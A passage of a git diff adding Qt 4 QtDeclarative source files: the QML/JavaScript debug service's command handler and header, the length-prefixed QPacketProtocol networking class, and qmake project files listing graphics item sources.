+ } else if (command == "WATCH_EXPRESSIONS") {
+ QStringList watchExpressions;
+ ds >> watchExpressions;
+ m_agent->setWatchExpressions(watchExpressions);
+ } else if (command == "STEPOVER") {
+ m_agent->stepOver();
+ } else if (command == "STEPINTO" || command == "INTERRUPT") {
+ m_agent->stepInto();
+ } else if (command == "STEPOUT") {
+ m_agent->stepOut();
+ } else if (command == "CONTINUE") {
+ m_agent->continueExecution();
+ } else if (command == "EXEC") {
+ QByteArray id;
+ QString expr;
+ ds >> id >> expr;
+
+ JSAgentWatchData data = m_agent->executeExpression(expr);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("RESULT") << id << data;
+ sendMessage(reply);
+ } else if (command == "EXPAND") {
+ QByteArray requestId;
+ quint64 objectId;
+ ds >> requestId >> objectId;
+
+ QList<JSAgentWatchData> result = m_agent->expandObjectById(objectId);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("EXPANDED") << requestId << result;
+ sendMessage(reply);
+ } else if (command == "ACTIVATE_FRAME") {
+ int frameId;
+ ds >> frameId;
+
+ QList<JSAgentWatchData> locals = m_agent->localsAtFrame(frameId);
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("LOCALS") << frameId << locals;
+ sendMessage(reply);
+ } else if (command == "SET_PROPERTY") {
+ QByteArray id;
+ qint64 objectId;
+ QString property;
+ QString value;
+ ds >> id >> objectId >> property >> value;
+
+ m_agent->setProperty(objectId, property, value);
+
+ //TODO: feedback
+ } else if (command == "PING") {
+ int ping;
+ ds >> ping;
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("PONG") << ping;
+ sendMessage(reply);
+ } else if (command == "COVERAGE") {
+ bool enabled;
+ ds >> enabled;
+ m_agent->setCoverageEnabled(enabled);
+ if (!enabled) {
+ sendMessages();
+ }
+ } else {
+ qDebug() << Q_FUNC_INFO << "Unknown command" << command;
+ }
+
+ QDeclarativeDebugService::messageReceived(message);
+}
+
+void QJSDebugService::executionStopped(bool becauseOfException,
+ const QString &exception)
+{
+ const QList<JSAgentStackData> backtrace = m_agent->backtrace();
+ const QList<JSAgentWatchData> watches = m_agent->watches();
+ const QList<JSAgentWatchData> locals = m_agent->locals();
+
+ QByteArray reply;
+ QDataStream rs(&reply, QIODevice::WriteOnly);
+ rs << QByteArray("STOPPED") << backtrace << watches << locals
+ << becauseOfException << exception;
+ sendMessage(reply);
+}
+
+/*
+ Either send the message directly, or queue up
+ a list of messages to send later (via sendMessages)
+*/
+void QJSDebugService::processMessage(const JSAgentCoverageData &message)
+{
+ if (m_deferredSend)
+ m_data.append(message);
+ else
+ sendMessage(message.toByteArray());
+}
+
+/*
+ Send the messages queued up by processMessage
+*/
+void QJSDebugService::sendMessages()
+{
+ if (m_deferredSend) {
+ //### this is a suboptimal way to send batched messages
+ for (int i = 0; i < m_data.count(); ++i)
+ sendMessage(m_data.at(i).toByteArray());
+ m_data.clear();
+
+ //indicate completion
+ QByteArray data;
+ QDataStream ds(&data, QIODevice::WriteOnly);
+ ds << QByteArray("COVERAGE") << (qint64)-1 << (int)CoverageComplete;
+ sendMessage(data);
+ }
+}
+
diff --git a/src/declarative/debugger/qjsdebugservice_p.h b/src/declarative/debugger/qjsdebugservice_p.h
new file mode 100644
index 00000000..399b0fba
--- /dev/null
+++ b/src/declarative/debugger/qjsdebugservice_p.h
@@ -0,0 +1,123 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QJSDEBUGSERVICE_P_H
+#define QJSDEBUGSERVICE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/QPointer>
+#include <QElapsedTimer>
+
+#include "private/qdeclarativedebugservice_p.h"
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeEngine;
+class QJSDebuggerAgent;
+
+struct JSAgentCoverageData
+{
+ QByteArray prefix;
+ qint64 time;
+ int messageType;
+
+ qint64 scriptId;
+ QString program;
+ QString fileName;
+ int baseLineNumber;
+ int lineNumber;
+ int columnNumber;
+ QString returnValue;
+
+ QByteArray toByteArray() const;
+};
+
+class QJSDebugService : public QDeclarativeDebugService
+{
+ Q_OBJECT
+
+public:
+ QJSDebugService(QObject *parent = 0);
+ ~QJSDebugService();
+
+ static QJSDebugService *instance();
+
+ void addEngine(QDeclarativeEngine *);
+ void removeEngine(QDeclarativeEngine *);
+ void processMessage(const JSAgentCoverageData &message);
+
+ QElapsedTimer m_timer;
+
+protected:
+ void statusChanged(Status status);
+ void messageReceived(const QByteArray &);
+
+private Q_SLOTS:
+ void executionStopped(bool becauseOfException,
+ const QString &exception);
+
+private:
+ void sendMessages();
+ QList<QDeclarativeEngine *> m_engines;
+ QPointer<QJSDebuggerAgent> m_agent;
+ bool m_deferredSend;
+ QList<JSAgentCoverageData> m_data;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QJSDEBUGSERVICE_P_H
diff --git a/src/declarative/debugger/qpacketprotocol.cpp b/src/declarative/debugger/qpacketprotocol.cpp
new file mode 100644
index 00000000..6732c850
--- /dev/null
+++ b/src/declarative/debugger/qpacketprotocol.cpp
@@ -0,0 +1,557 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qpacketprotocol_p.h"
+
+#include <QBuffer>
+#include <QElapsedTimer>
+
+QT_BEGIN_NAMESPACE
+
+#define MAX_PACKET_SIZE 0x7FFFFFFF
+
+/*!
+ \class QPacketProtocol
+ \internal
+
+ \brief The QPacketProtocol class encapsulates communicating discrete packets
+ across fragmented IO channels, such as TCP sockets.
+
+ QPacketProtocol makes it simple to send arbitrary sized data "packets" across
+ fragmented transports such as TCP and UDP.
+
+ As transmission boundaries are not respected, sending packets over protocols
+ like TCP frequently involves "stitching" them back together at the receiver.
+ QPacketProtocol makes this easier by performing this task for you. Packet
+ data sent using QPacketProtocol is prepended with a 4-byte size header
+ allowing the receiving QPacketProtocol to buffer the packet internally until
+ it has all been received. QPacketProtocol does not perform any sanity
+ checking on the size or on the data, so this class should only be used in
+ prototyping or trusted situations where DOS attacks are unlikely.
+
+ QPacketProtocol does not perform any communications itself. Instead it can
+ operate on any QIODevice that supports the QIODevice::readyRead() signal. A
+ logical "packet" is encapsulated by the companion QPacket class. The
+ following example shows two ways to send data using QPacketProtocol. The
+ transmitted data is equivalent in both.
+
+ \code
+ QTcpSocket socket;
+ // ... connect socket ...
+
+ QPacketProtocol protocol(&socket);
+
+ // Send packet the quick way
+ protocol.send() << "Hello world" << 123;
+
+ // Send packet the longer way
+ QPacket packet;
+ packet << "Hello world" << 123;
+ protocol.send(packet);
+ \endcode
+
+ Likewise, the following shows how to read data from QPacketProtocol, assuming
+ that the QPacketProtocol::readyRead() signal has been emitted.
+
+ \code
+ // ... QPacketProtocol::readyRead() is emitted ...
+
+ int a;
+ QByteArray b;
+
+ // Receive packet the quick way
+ protocol.read() >> a >> b;
+
+ // Receive packet the longer way
+ QPacket packet = protocol.read();
+ p >> a >> b;
+ \endcode
+
+ \ingroup io
+ \sa QPacket
+*/
+
+class QPacketProtocolPrivate : public QObject
+{
+Q_OBJECT
+public:
+ QPacketProtocolPrivate(QPacketProtocol * parent, QIODevice * _dev)
+ : QObject(parent), inProgressSize(-1), maxPacketSize(MAX_PACKET_SIZE),
+ waitingForPacket(false), dev(_dev)
+ {
+ Q_ASSERT(4 == sizeof(qint32));
+
+ QObject::connect(this, SIGNAL(readyRead()),
+ parent, SIGNAL(readyRead()));
+ QObject::connect(this, SIGNAL(packetWritten()),
+ parent, SIGNAL(packetWritten()));
+ QObject::connect(this, SIGNAL(invalidPacket()),
+ parent, SIGNAL(invalidPacket()));
+ QObject::connect(dev, SIGNAL(readyRead()),
+ this, SLOT(readyToRead()));
+ QObject::connect(dev, SIGNAL(aboutToClose()),
+ this, SLOT(aboutToClose()));
+ QObject::connect(dev, SIGNAL(bytesWritten(qint64)),
+ this, SLOT(bytesWritten(qint64)));
+ }
+
+Q_SIGNALS:
+ void readyRead();
+ void packetWritten();
+ void invalidPacket();
+
+public Q_SLOTS:
+ void aboutToClose()
+ {
+ inProgress.clear();
+ sendingPackets.clear();
+ inProgressSize = -1;
+ }
+
+ void bytesWritten(qint64 bytes)
+ {
+ Q_ASSERT(!sendingPackets.isEmpty());
+
+ while(bytes) {
+ if(sendingPackets.at(0) > bytes) {
+ sendingPackets[0] -= bytes;
+ bytes = 0;
+ } else {
+ bytes -= sendingPackets.at(0);
+ sendingPackets.removeFirst();
+ emit packetWritten();
+ }
+ }
+ }
+
+ void readyToRead()
+ {
+ bool gotPackets = false;
+ while (true) {
+ // Get size header (if not in progress)
+ if (-1 == inProgressSize) {
+ // We need a size header of sizeof(qint32)
+ if (sizeof(qint32) > (uint)dev->bytesAvailable()) {
+ if (gotPackets)
+ emit readyRead();
+ return; // no more data available
+ }
+
+ // Read size header
+ int read = dev->read((char *)&inProgressSize, sizeof(qint32));
+ Q_ASSERT(read == sizeof(qint32));
+ Q_UNUSED(read);
+
+ // Check sizing constraints
+ if (inProgressSize > maxPacketSize) {
+ QObject::disconnect(dev, SIGNAL(readyRead()),
+ this, SLOT(readyToRead()));
+ QObject::disconnect(dev, SIGNAL(aboutToClose()),
+ this, SLOT(aboutToClose()));
+ QObject::disconnect(dev, SIGNAL(bytesWritten(qint64)),
+ this, SLOT(bytesWritten(qint64)));
+ dev = 0;
+ emit invalidPacket();
+ return;
+ }
+
+ inProgressSize -= sizeof(qint32);
+ } else {
+ inProgress.append(dev->read(inProgressSize - inProgress.size()));
+
+ if (inProgressSize == inProgress.size()) {
+ // Packet has arrived!
+ packets.append(inProgress);
+ inProgressSize = -1;
+ inProgress.clear();
+
+ waitingForPacket = false;
+ gotPackets = true;
+ } else {
+ if (gotPackets)
+ emit readyRead();
+ return; // packet in progress is not yet complete
+ }
+ }
+ }
+ }
+
+public:
+ QList<qint64> sendingPackets;
+ QList<QByteArray> packets;
+ QByteArray inProgress;
+ qint32 inProgressSize;
+ qint32 maxPacketSize;
+ bool waitingForPacket;
+ QIODevice * dev;
+};
+
+/*!
+ Construct a QPacketProtocol instance that works on \a dev with the
+ specified \a parent.
+ */
+QPacketProtocol::QPacketProtocol(QIODevice * dev, QObject * parent)
+: QObject(parent), d(new QPacketProtocolPrivate(this, dev))
+{
+ Q_ASSERT(dev);
+}
+
+/*!
+ Destroys the QPacketProtocol instance.
+ */
+QPacketProtocol::~QPacketProtocol()
+{
+}
+
+/*!
+ Returns the maximum packet size allowed. By default this is
+ 2,147,483,647 bytes.
+
+ If a packet claiming to be larger than the maximum packet size is received,
+ the QPacketProtocol::invalidPacket() signal is emitted.
+
+ \sa QPacketProtocol::setMaximumPacketSize()
+ */
+qint32 QPacketProtocol::maximumPacketSize() const
+{
+ return d->maxPacketSize;
+}
+
+/*!
+ Sets the maximum allowable packet size to \a max.
+
+ \sa QPacketProtocol::maximumPacketSize()
+ */
+qint32 QPacketProtocol::setMaximumPacketSize(qint32 max)
+{
+ if(max > (signed)sizeof(qint32))
+ d->maxPacketSize = max;
+ return d->maxPacketSize;
+}
+
+/*!
+ Returns a streamable object that is transmitted on destruction. For example
+
+ \code
+ protocol.send() << "Hello world" << 123;
+ \endcode
+
+ will send a packet containing "Hello world" and 123. To construct more
+ complex packets, explicitly construct a QPacket instance.
+ */
+QPacketAutoSend QPacketProtocol::send()
+{
+ return QPacketAutoSend(this);
+}
+
+/*!
+ \fn void QPacketProtocol::send(const QPacket & packet)
+
+ Transmit the \a packet.
+ */
+void QPacketProtocol::send(const QPacket & p)
+{
+ if(p.b.isEmpty())
+ return; // We don't send empty packets
+
+ qint64 sendSize = p.b.size() + sizeof(qint32);
+
+ d->sendingPackets.append(sendSize);
+ qint32 sendSize32 = sendSize;
+ qint64 writeBytes = d->dev->write((char *)&sendSize32, sizeof(qint32));
+ Q_ASSERT(writeBytes == sizeof(qint32));
+ writeBytes = d->dev->write(p.b);
+ Q_ASSERT(writeBytes == p.b.size());
+}
+
+/*!
+ Returns the number of received packets yet to be read.
+ */
+qint64 QPacketProtocol::packetsAvailable() const
+{
+ return d->packets.count();
+}
+
+/*!
+ Discard any unread packets.
+ */
+void QPacketProtocol::clear()
+{
+ d->packets.clear();
+}
+
+/*!
+ Return the next unread packet, or an invalid QPacket instance if no packets
+ are available. This method does NOT block.
+ */
+QPacket QPacketProtocol::read()
+{
+ if(0 == d->packets.count())
+ return QPacket();
+
+ QPacket rv(d->packets.at(0));
+ d->packets.removeFirst();
+ return rv;
+}
+
+/*
+ Returns the difference between msecs and elapsed. If msecs is -1,
+ however, -1 is returned.
+*/
+static int qt_timeout_value(int msecs, int elapsed)
+{
+ if (msecs == -1)
+ return -1;
+
+ int timeout = msecs - elapsed;
+ return timeout < 0 ? 0 : timeout;
+}
+
+/*!
+ This function locks until a new packet is available for reading and the
+ \l{QIODevice::}{readyRead()} signal has been emitted. The function
+ will timeout after \a msecs milliseconds; the default timeout is
+ 30000 milliseconds.
+
+ The function returns true if the readyRead() signal is emitted and
+ there is new data available for reading; otherwise it returns false
+ (if an error occurred or the operation timed out).
+ */
+
+bool QPacketProtocol::waitForReadyRead(int msecs)
+{
+ if (!d->packets.isEmpty())
+ return true;
+
+ QElapsedTimer stopWatch;
+ stopWatch.start();
+
+ d->waitingForPacket = true;
+ do {
+ if (!d->dev->waitForReadyRead(msecs))
+ return false;
+ if (!d->waitingForPacket)
+ return true;
+ msecs = qt_timeout_value(msecs, stopWatch.elapsed());
+ } while (true);
+}
+
+/*!
+ Return the QIODevice passed to the QPacketProtocol constructor.
+*/
+QIODevice * QPacketProtocol::device()
+{
+ return d->dev;
+}
+
+/*!
+ \fn void QPacketProtocol::readyRead()
+
+ Emitted whenever a new packet is received. Applications may use
+ QPacketProtocol::read() to retrieve this packet.
+ */
+
+/*!
+ \fn void QPacketProtocol::invalidPacket()
+
+ A packet larger than the maximum allowable packet size was received. The
+ packet will be discarded and, as it indicates corruption in the protocol, no
+ further packets will be received.
+ */
+
+/*!
+ \fn void QPacketProtocol::packetWritten()
+
+ Emitted each time a packet is completing written to the device. This signal
+ may be used for communications flow control.
+ */
+
+/*!
+ \class QPacket
+ \internal
+
+ \brief The QPacket class encapsulates an unfragmentable packet of data to be
+ transmitted by QPacketProtocol.
+
+ The QPacket class works together with QPacketProtocol to make it simple to
+ send arbitrary sized data "packets" across fragmented transports such as TCP
+ and UDP.
+
+ QPacket provides a QDataStream interface to an unfragmentable packet.
+ Applications should construct a QPacket, propagate it with data and then
+ transmit it over a QPacketProtocol instance. For example:
+ \code
+ QPacketProtocol protocol(...);
+
+ QPacket myPacket;
+ myPacket << "Hello world!" << 123;
+ protocol.send(myPacket);
+ \endcode
+
+ As long as both ends of the connection are using the QPacketProtocol class,
+ the data within this packet will be delivered unfragmented at the other end,
+ ready for extraction.
+
+ \code
+ QByteArray greeting;
+ int count;
+
+ QPacket myPacket = protocol.read();
+
+ myPacket >> greeting >> count;
+ \endcode
+
+ Only packets returned from QPacketProtocol::read() may be read from. QPacket
+ instances constructed by directly by applications are for transmission only
+ and are considered "write only". Attempting to read data from them will
+ result in undefined behavior.
+
+ \ingroup io
+ \sa QPacketProtocol
+ */
+
+/*!
+ Constructs an empty write-only packet.
+ */
+QPacket::QPacket()
+: QDataStream(), buf(0)
+{
+ buf = new QBuffer(&b);
+ buf->open(QIODevice::WriteOnly);
+ setDevice(buf);
+ setVersion(QDataStream::Qt_4_7);
+}
+
+/*!
+ Destroys the QPacket instance.
+ */
+QPacket::~QPacket()
+{
+ if(buf) {
+ delete buf;
+ buf = 0;
+ }
+}
+
+/*!
+ Creates a copy of \a other. The initial stream positions are shared, but the
+ two packets are otherwise independent.
+ */
+QPacket::QPacket(const QPacket & other)
+: QDataStream(), b(other.b), buf(0)
+{
+ buf = new QBuffer(&b);
+ buf->open(other.buf->openMode());
+ setDevice(buf);
+}
+
+/*!
+ \internal
+ */
+QPacket::QPacket(const QByteArray & ba)
+: QDataStream(), b(ba), buf(0)
+{
+ buf = new QBuffer(&b);
+ buf->open(QIODevice::ReadOnly);
+ setDevice(buf);
+}
+
+/*!
+ Returns true if this packet is empty - that is, contains no data.
+ */
+bool QPacket::isEmpty() const
+{
+ return b.isEmpty();
+}
+
+/*!
+ Returns raw packet data.
+ */
+QByteArray QPacket::data() const
+{
+ return b;
+}
+
+/*!
+ Clears data in the packet. This is useful for reusing one writable packet.
+ For example
+ \code
+ QPacketProtocol protocol(...);
+
+ QPacket packet;
+
+ packet << "Hello world!" << 123;
+ protocol.send(packet);
+
+ packet.clear();
+ packet << "Goodbyte world!" << 789;
+ protocol.send(packet);
+ \endcode
+ */
+void QPacket::clear()
+{
+ QBuffer::OpenMode oldMode = buf->openMode();
+ buf->close();
+ b.clear();
+ buf->setBuffer(&b); // reset QBuffer internals with new size of b.
+ buf->open(oldMode);
+}
+
+/*!
+ \class QPacketAutoSend
+ \internal
+
+ \internal
+ */
+QPacketAutoSend::QPacketAutoSend(QPacketProtocol * _p)
+: QPacket(), p(_p)
+{
+}
+
+QPacketAutoSend::~QPacketAutoSend()
+{
+ if(!b.isEmpty())
+ p->send(*this);
+}
+
+QT_END_NAMESPACE
+
+#include <qpacketprotocol.moc>
diff --git a/src/declarative/debugger/qpacketprotocol_p.h b/src/declarative/debugger/qpacketprotocol_p.h
new file mode 100644
index 00000000..62dedf4d
--- /dev/null
+++ b/src/declarative/debugger/qpacketprotocol_p.h
@@ -0,0 +1,127 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QPACKETPROTOCOL_H
+#define QPACKETPROTOCOL_H
+
+#include <QtCore/qobject.h>
+#include <QtCore/qdatastream.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QIODevice;
+class QBuffer;
+class QPacket;
+class QPacketAutoSend;
+class QPacketProtocolPrivate;
+
+class Q_DECLARATIVE_EXPORT QPacketProtocol : public QObject
+{
+Q_OBJECT
+public:
+ explicit QPacketProtocol(QIODevice * dev, QObject * parent = 0);
+ virtual ~QPacketProtocol();
+
+ qint32 maximumPacketSize() const;
+ qint32 setMaximumPacketSize(qint32);
+
+ QPacketAutoSend send();
+ void send(const QPacket &);
+
+ qint64 packetsAvailable() const;
+ QPacket read();
+
+ bool waitForReadyRead(int msecs = 3000);
+
+ void clear();
+
+ QIODevice * device();
+
+Q_SIGNALS:
+ void readyRead();
+ void invalidPacket();
+ void packetWritten();
+
+private:
+ QPacketProtocolPrivate * d;
+};
+
+
+class Q_DECLARATIVE_EXPORT QPacket : public QDataStream
+{
+public:
+ QPacket();
+ QPacket(const QPacket &);
+ virtual ~QPacket();
+
+ void clear();
+ bool isEmpty() const;
+ QByteArray data() const;
+
+protected:
+ friend class QPacketProtocol;
+ QPacket(const QByteArray & ba);
+ QByteArray b;
+ QBuffer * buf;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QPacketAutoSend : public QPacket
+{
+public:
+ virtual ~QPacketAutoSend();
+
+private:
+ friend class QPacketProtocol;
+ QPacketAutoSend(QPacketProtocol *);
+ QPacketProtocol * p;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif
diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro
new file mode 100644
index 00000000..055e4b93
--- /dev/null
+++ b/src/declarative/declarative.pro
@@ -0,0 +1,43 @@
+TARGET = QtDeclarative
+QPRO_PWD = $$PWD
+QT = core gui script network
+contains(QT_CONFIG, svg): QT += svg
+DEFINES += QT_BUILD_DECLARATIVE_LIB QT_NO_URL_CAST_FROM_STRING
+win32-msvc*|win32-icc:QMAKE_LFLAGS += /BASE:0x66000000
+solaris-cc*:QMAKE_CXXFLAGS_RELEASE -= -O2
+
+unix|win32-g++*:QMAKE_PKGCONFIG_REQUIRES = QtCore QtGui
+
+exists("qdeclarative_enable_gcov") {
+ QMAKE_CXXFLAGS = -fprofile-arcs -ftest-coverage -fno-elide-constructors
+ LIBS += -lgcov
+}
+
+include(../qbase.pri)
+
+#INCLUDEPATH -= $$QMAKE_INCDIR_QT/$$TARGET
+#DESTDIR=.
+
+#modules
+include(util/util.pri)
+include(graphicsitems/graphicsitems.pri)
+include(qml/qml.pri)
+include(debugger/debugger.pri)
+
+symbian: {
+ TARGET.UID3=0x2001E623
+ LIBS += -lefsrv -lhal
+
+ contains(QT_CONFIG, freetype) {
+ DEFINES += QT_NO_FONTCONFIG
+ INCLUDEPATH += \
+ ../3rdparty/freetype/src \
+ ../3rdparty/freetype/include
+ }
+}
+
+linux-g++-maemo:DEFINES += QDECLARATIVEVIEW_NOBACKGROUND
+
+DEFINES += QT_NO_OPENTYPE
+INCLUDEPATH += ../3rdparty/harfbuzz/src
+
diff --git a/src/declarative/graphicsitems/graphicsitems.pri b/src/declarative/graphicsitems/graphicsitems.pri
new file mode 100644
index 00000000..99042740
--- /dev/null
+++ b/src/declarative/graphicsitems/graphicsitems.pri
@@ -0,0 +1,94 @@
+INCLUDEPATH += $$PWD
+
+HEADERS += \
+ $$PWD/qdeclarativeitemsmodule_p.h \
+ $$PWD/qdeclarativeanchors_p.h \
+ $$PWD/qdeclarativeanchors_p_p.h \
+ $$PWD/qdeclarativeevents_p_p.h \
+ $$PWD/qdeclarativeflickable_p.h \
+ $$PWD/qdeclarativeflickable_p_p.h \
+ $$PWD/qdeclarativeflipable_p.h \
+ $$PWD/qdeclarativegridview_p.h \
+ $$PWD/qdeclarativeimage_p.h \
+ $$PWD/qdeclarativeimagebase_p.h \
+ $$PWD/qdeclarativeborderimage_p.h \
+ $$PWD/qdeclarativepainteditem_p.h \
+ $$PWD/qdeclarativepainteditem_p_p.h \
+ $$PWD/qdeclarativeimage_p_p.h \
+ $$PWD/qdeclarativeborderimage_p_p.h \
+ $$PWD/qdeclarativeimagebase_p_p.h \
+ $$PWD/qdeclarativeanimatedimage_p.h \
+ $$PWD/qdeclarativeanimatedimage_p_p.h \
+ $$PWD/qdeclarativeitem.h \
+ $$PWD/qdeclarativeitem_p.h \
+ $$PWD/qdeclarativefocuspanel_p.h \
+ $$PWD/qdeclarativefocusscope_p.h \
+ $$PWD/qdeclarativepositioners_p.h \
+ $$PWD/qdeclarativepositioners_p_p.h \
+ $$PWD/qdeclarativeloader_p.h \
+ $$PWD/qdeclarativeloader_p_p.h \
+ $$PWD/qdeclarativemousearea_p.h \
+ $$PWD/qdeclarativemousearea_p_p.h \
+ $$PWD/qdeclarativepath_p.h \
+ $$PWD/qdeclarativepath_p_p.h \
+ $$PWD/qdeclarativepathview_p.h \
+ $$PWD/qdeclarativepathview_p_p.h \
+ $$PWD/qdeclarativerectangle_p.h \
+ $$PWD/qdeclarativerectangle_p_p.h \
+ $$PWD/qdeclarativerepeater_p.h \
+ $$PWD/qdeclarativerepeater_p_p.h \
+ $$PWD/qdeclarativescalegrid_p_p.h \
+ $$PWD/qdeclarativetranslate_p.h \
+ $$PWD/qdeclarativetextinput_p.h \
+ $$PWD/qdeclarativetextinput_p_p.h \
+ $$PWD/qdeclarativetextedit_p.h \
+ $$PWD/qdeclarativetextedit_p_p.h \
+ $$PWD/qdeclarativetext_p.h \
+ $$PWD/qdeclarativetext_p_p.h \
+ $$PWD/qdeclarativevisualitemmodel_p.h \
+ $$PWD/qdeclarativelistview_p.h \
+ $$PWD/qdeclarativelayoutitem_p.h \
+ $$PWD/qdeclarativeitemchangelistener_p.h \
+ $$PWD/qdeclarativegraphicswidget_p.h \
+ $$PWD/qdeclarativetextlayout_p.h \
+ $$PWD/qdeclarativepincharea_p.h \
+ $$PWD/qdeclarativepincharea_p_p.h \
+ $$PWD/qdeclarativeimplicitsizeitem_p.h \
+ $$PWD/qdeclarativeimplicitsizeitem_p_p.h
+
+
+SOURCES += \
+ $$PWD/qdeclarativeitemsmodule.cpp \
+ $$PWD/qdeclarativeanchors.cpp \
+ $$PWD/qdeclarativeevents.cpp \
+ $$PWD/qdeclarativeflickable.cpp \
+ $$PWD/qdeclarativeflipable.cpp \
+ $$PWD/qdeclarativegridview.cpp \
+ $$PWD/qdeclarativeimage.cpp \
+ $$PWD/qdeclarativeborderimage.cpp \
+ $$PWD/qdeclarativeimagebase.cpp \
+ $$PWD/qdeclarativeanimatedimage.cpp \
+ $$PWD/qdeclarativepainteditem.cpp \
+ $$PWD/qdeclarativeitem.cpp \
+ $$PWD/qdeclarativefocuspanel.cpp \
+ $$PWD/qdeclarativefocusscope.cpp \
+ $$PWD/qdeclarativepositioners.cpp \
+ $$PWD/qdeclarativeloader.cpp \
+ $$PWD/qdeclarativemousearea.cpp \
+ $$PWD/qdeclarativepath.cpp \
+ $$PWD/qdeclarativepathview.cpp \
+ $$PWD/qdeclarativerectangle.cpp \
+ $$PWD/qdeclarativerepeater.cpp \
+ $$PWD/qdeclarativescalegrid.cpp \
+ $$PWD/qdeclarativetranslate.cpp \
+ $$PWD/qdeclarativetextinput.cpp \
+ $$PWD/qdeclarativetext.cpp \
+ $$PWD/qdeclarativetextedit.cpp \
+ $$PWD/qdeclarativevisualitemmodel.cpp \
+ $$PWD/qdeclarativelistview.cpp \
+ $$PWD/qdeclarativelayoutitem.cpp \
+ $$PWD/qdeclarativegraphicswidget.cpp \
+ $$PWD/qdeclarativetextlayout.cpp \
+ $$PWD/qdeclarativepincharea.cpp \
+ $$PWD/qdeclarativeimplicitsizeitem.cpp
+
diff --git a/src/declarative/graphicsitems/qdeclarativeanchors.cpp b/src/declarative/graphicsitems/qdeclarativeanchors.cpp
new file mode 100644
index 00000000..f8ca54cb
--- /dev/null
+++ b/src/declarative/graphicsitems/qdeclarativeanchors.cpp
